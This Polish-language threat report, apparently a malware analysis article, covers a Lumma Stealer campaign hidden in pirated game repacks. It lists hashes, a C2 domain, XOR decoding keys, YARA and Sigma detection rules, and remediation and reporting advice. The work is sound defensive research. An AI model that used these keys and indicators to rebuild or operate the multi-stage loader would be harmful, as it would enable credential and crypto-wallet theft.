4f63bf28e5cac2fbbf581d71137877d384ebefebf6695a8dedfab10183f083d0  vukQpDdNT.bat (stage 1 dropper)
84a62c062117bfdfb5204830cb82e57ba3f23539a3b55034d68f0f49f9b50453  BodleStalky.dll (stage 4)
b3f5d7f942c256844ea65cade56ad9f20d183a6eaf316585bcd91871016b10ed  sys_config/__init__.py
81dd3cfeab8a5a552566d3eb080f4612316c62e3b88108e52828ac81857317ad  sys_config/sys_check.py
6c45b6ab9609155d658485aff0ec1bb2c2d6e4819236541f98d66290d639f808  sys_config/sys_file.py
f944e6ecfb9d48720b1456bf0c3f4bee9d8ed9bd17e17a6fd5932f8174530695  sys_config/sys_spec.py

Network

kelemet.shop                          C2 (Cloudflare 104.21.2.102)
bsc-dataseed.binance.org              EtherHiding fallback (legit Binance RPC)
in.getclicky.com                      PPI tracker (abused legit service)
  site_id=101501510
  sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a
  href=S_s800_eb_spr2_75

Markery w pliku .bat

nykwtupq    — delimiter stage-2 PowerShell payload
ireoxhsw    — delimiter stage-4 DLL payload

Klucze XOR (do statycznego dekodowania)

.FOG metadata:    81034149cd6f48c8821340204f92766e (32 B)
JC7bjuLJVcUQ.Dm:  GBgajI4mv3q                       (11 B)
stage 2 → 3:      2407A6C7C7FFEF49868D6BD14FAF062EB995F06549D343BFEA36D467717A1487 (32 B)
stage 3 → 4:      975CF32BDE9524B3CF395E40B049A4BF9288DB494571837C82F4054183605BEF (32 B)

Charakterystyczne ścieżki w runtime

%TEMP%\tmp-#####-############\         (run dir loadera, ##### = 5 digits, 12 alnum)
%LOCALAPPDATA%\Temp\__PSScriptPolicyTest_*.ps1   (PSScript policy probe — PowerShell engine artifact)

Detekcja

Reguła YARA (na stage 1 .bat)

rule LummaC2_RenPy_BatchDropper_2026 {
    meta:
        description = "Lumma Stealer batch dropper from Ren'Py game lure"
        author      = "cyberowi.pl"
        date        = "2026-05-13"
        family      = "LummaC2"
        reference   = "https://cyberowi.pl/lumma-stealer-renpy-fitgirl-osmiowarstwowy-loader/"
        hash        = "4f63bf28e5cac2fbbf581d71137877d384ebefebf6695a8dedfab10183f083d0"
    strings:
        $marker1   = "nykwtupq" ascii
        $marker2   = "ireoxhsw" ascii
        $headless  = "conhost.exe\" --headless" ascii nocase
        $sysnative = "Sysnative\\conhost" ascii nocase
        $alphabet  = "BunFtedA.GMwg73" ascii
        $sub1      = ":#D=;%" ascii
        $sub2      = ":#Q='%" ascii
        $sub3      = ":#Z=(%" ascii
        $wp_label  = /:_WP_[0-9a-f]{4}_(UserAudit|ConfigParse|NetCheck|PSVersion|SvcHealth|DefenderCheck)/
    condition:
        (uint8(0) == 0x40 or uint8(0) == 0x72) and  // @ or r
        filesize > 1MB and filesize < 10MB and
        2 of ($marker*) and
        2 of ($sub*) and
        $alphabet and
        ($headless or $sysnative) and
        #wp_label > 100
}

Reguła Sigma (Sysmon Event ID 1)

title: Conhost Headless Launching cmd.exe (LummaC2 TTP)
id: a1f3d2e8-7c44-4e89-9d4f-2b5e9a3c4d12
status: experimental
description: >
  Conhost.exe launched with --headless flag re-executing a batch file.
  Pattern strongly associated with Lumma Stealer's RenPy distribution.
references:
  - https://cyberowi.pl/lumma-stealer-renpy-fitgirl-osmiowarstwowy-loader/
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\conhost.exe'
        CommandLine|contains|all:
            - '--headless'
            - 'cmd.exe'
            - '/c'
    filter:
        # Legitimate use is rare. Allow-list specific developer tools if needed.
        ParentImage|endswith:
            - '\WindowsTerminal.exe'
            - '\msbuild.exe'
    condition: selection and not filter
level: high
tags:
    - attack.execution
    - attack.t1059
    - attack.defense-evasion
    - attack.t1564.003

Reguła Sigma (Sysmon Event ID 3 — network)

title: PowerShell Downloading NuGet Roslyn Packages at Runtime
id: b2d4f7a9-1e34-4b89-a82c-7f3e8d29b4f5
status: experimental
description: >
  PowerShell.exe directly fetching Microsoft.CodeAnalysis NuGet packages.
  Legitimate Roslyn use happens through dotnet.exe / msbuild.exe; PowerShell
  pulling .nupkg from api.nuget.org is a hallmark of in-memory C# compilation
  loaders (LummaC2, SectopRAT 2025).
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\powershell.exe'
        DestinationHostname|contains:
            - 'api.nuget.org'
            - 'globalcdn.nuget.org'
    condition: selection
level: high
tags:
    - attack.execution
    - attack.t1105
    - attack.command-and-control

Reguła Sigma (network — BSC RPC z workstation)

title: Workstation Process Talking to BSC RPC (Possible EtherHiding C2)
id: c3e5d8b1-2f45-4c91-b93d-8a4f9e3c5d23
description: >
  Endpoint (non-developer) process making request to bsc-dataseed.binance.org
  or other public BSC/ETH RPC nodes. Used by malware for EtherHiding C2
  resolution (Lumma, SectopRAT, ClearFake).
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationHostname|contains:
            - 'bsc-dataseed.binance.org'
            - 'bsc-dataseed1.defibit.io'
            - 'bsc-dataseed1.ninicoin.io'
            - 'rpc.ankr.com/bsc'
            - 'mainnet.infura.io'
    filter_dev:
        Image|endswith:
            - '\node.exe'
            - '\python.exe'
            - '\hardhat.exe'
            - '\truffle.exe'
            - '\brave.exe'
            - '\chrome.exe'
            - '\firefox.exe'
            - '\msedge.exe'
    condition: selection and not filter_dev
level: high
tags:
    - attack.command-and-control
    - attack.t1568

Co zrobić, jeśli odpaliłeś

Jeśli Setup.exe z paczki został uruchomiony — zakładaj kompromitację. Plan minimum, w tej kolejności:

  1. Z drugiego (czystego) urządzenia (telefon w trybie incognito wystarczy) zmień hasło do głównego e-maila — wszystko inne wisi na nim. Włącz MFA z aplikacji/klucza U2F (nie SMS).
  2. Po e-mailu: konta bankowe, krypto giełdy, password manager, Microsoft/Google/Apple ID, Steam, Discord, Telegram (zwłaszcza — Lumma kradnie tdata i przejmuje sesję na zawsze, dopóki nie ubijesz wszystkich aktywnych sesji z poziomu „Active sessions”).
  3. Sprawdź %TEMP%\tmp-#####-############\ — folder run-time stealera.
  4. Defender Offline Scan (mpcmdrun -Scan -ScanType 2 -BootloaderScan) + Malwarebytes na bootcie.
  5. Najlepiej: reinstall Windows z reset+clean — Lumma czasem zostawia persystencję której nie widać (rootkit-style hooks w userland sesji).
  6. Po 24h sprawdź konta — jeśli Twoje dane już są na rynkach (Russian Market, 2easy), karty/wallety/Steam mogą próbować się przelogować z dziwnych GEO. Wszystkie powiadomienia o nowych logowaniach → eskalacja.

Co zrobić ze sample’em

  1. Zgłoszenie do Cloudflare: https://abuse.cloudflare.com/phishing, kategoria „Malware (Command and Control)”, domena kelemet.shop.
  2. Zgłoszenie do rejestratora: abuse@globaldomaingroup.com.
  3. CERT Polska: cert@cert.pl — aktywna kampania, polski klient.
  4. Roxr Software (twórca Clicky): zgłoś nadużycie site_id=101501510, hash 26e2086e86ebc9adc9f90bfd86f9f05a — powinni wyłączyć konto.
  5. Upload sample do społecznościowych baz: MalwareBazaar, URLhaus, ThreatFox. Każde z nich akceptuje submitter-attribution; przy okazji to wpis w portfolio.

Trzy systemowe obserwacje

Zanim przejdziemy do konkretnych działań — trzy myśli, które warto przenieść do polityk SOC:

1. Legalne CDN-y są teraz wektorem loaderów. api.nuget.org, globalcdn.nuget.org, GitHub Releases, jsdelivr, raw.githubusercontent.com — wszystkie są nadużywane jako CDN dla drugiej i trzeciej fazy malware. Blokowanie domen nie zadziała; trzeba blokować kontekst (PowerShell wołający NuGet to anomalia, dotnet.exe wołający NuGet to norma).

2. conhost.exe --headless to LOLBin do ukrywania okna konsoli. Microsoft-podpisany, Defender go nie wykrywa. Reguła Sysmona na --headless cmd.exe daje nisko-szumową detekcję — prawie zero legitnych przypadków poza Windows Terminal i MSBuild.

3. EtherHiding zmienia ekonomię takedown’ów. Klasyczne procedury (Cloudflare abuse, abuse u rejestratora) działają na pierwszej warstwie C2, ale nie na łańcuchu BSC. Długoterminowa obrona musi obejmować blokadę publicznych węzłów RPC z endpointów (ich legitne użycie poza maszynami deweloperskimi jest praktycznie zerowe).

Wnioski — co zrobić jutro rano

Dla zespołu SOC (30 minut)

  1. Skopiuj trzy reguły Sigma z sekcji Detekcja do SIEM/EDR — conhost --headless, PowerShell→NuGet, BSC RPC z endpointu.
  2. Dorzuć kelemet.shop (i całą listę domen *.shop < 30 dni od rejestracji) do blocklisty DNS lub Cloudflare Gateway.
  3. Przeszukaj telemetrię procesów za ostatnie 14 dni pod kątem conhost.exe --headless cmd.exe /c — jeśli coś znajdziesz, to nie ćwiczenie, to real incident response.

Dla CISO i działu compliance (1 godzina)

  1. Polityka endpoint EDR: blokuj uruchamianie EXE pobranych ze źródeł niezatwierdzonych (allowlist Steam/GOG/Itch.io + wewnętrzny katalog software’u).
  2. Komunikat do pracowników: Fitgirl/DODI/inne repacki to nie „darmowa gra”, to wektor exfiltracji. Plus jednoznaczna zasada: gry osobiste — nie na laptopie firmowym.
  3. Tabletop exercise: scenariusz „pracownik odpalił Setup.exe z paczki znalezionej online”. Kto reaguje, w jakim czasie, jak komunikujemy do RODO/UODO (72h), kto zmienia hasła firmowe ofiary.

Dla użytkownika domowego (5 minut)

  1. Nie odpalaj EXE z nieznanych źródeł. Steam/GOG/Itch.io to jedyne źródła, którym warto ufać dla gier. Pirackie repacki nie są darmowe — płaci się hasłami i kryptem.
  2. Włącz Microsoft Defender Cloud-Delivered Protection (Settings → Privacy & Security → Windows Security → Virus & threat protection → Manage settings → ON). Świeże próbki dostają detekcje w godzinach, nie dniach.
  3. Klucz YubiKey lub passkey na e-mail główny i bank — jeśli stealer wykradnie hasło, drugi czynnik go nie wpuści.

Materiały referencyjne

Sample celowo nie jest udostępniony publicznie — analiza zawiera wszystkie hashe i klucze potrzebne do reprodukcji, ale jeśli rzeczywiście pracujesz w SOC i potrzebujesz binarki do regresji własnych reguł, napisz do redakcji z weryfikowalnym adresem służbowym.

Pytania, poprawki, korekta — kontakt przez stronę cyberowi.pl, e-mail cyberowi@protonmail.com lub Mastodon @cyberowy@mastodon.social. Korekty dopisujemy wprost do artykułu z timestampem.

Zobacz też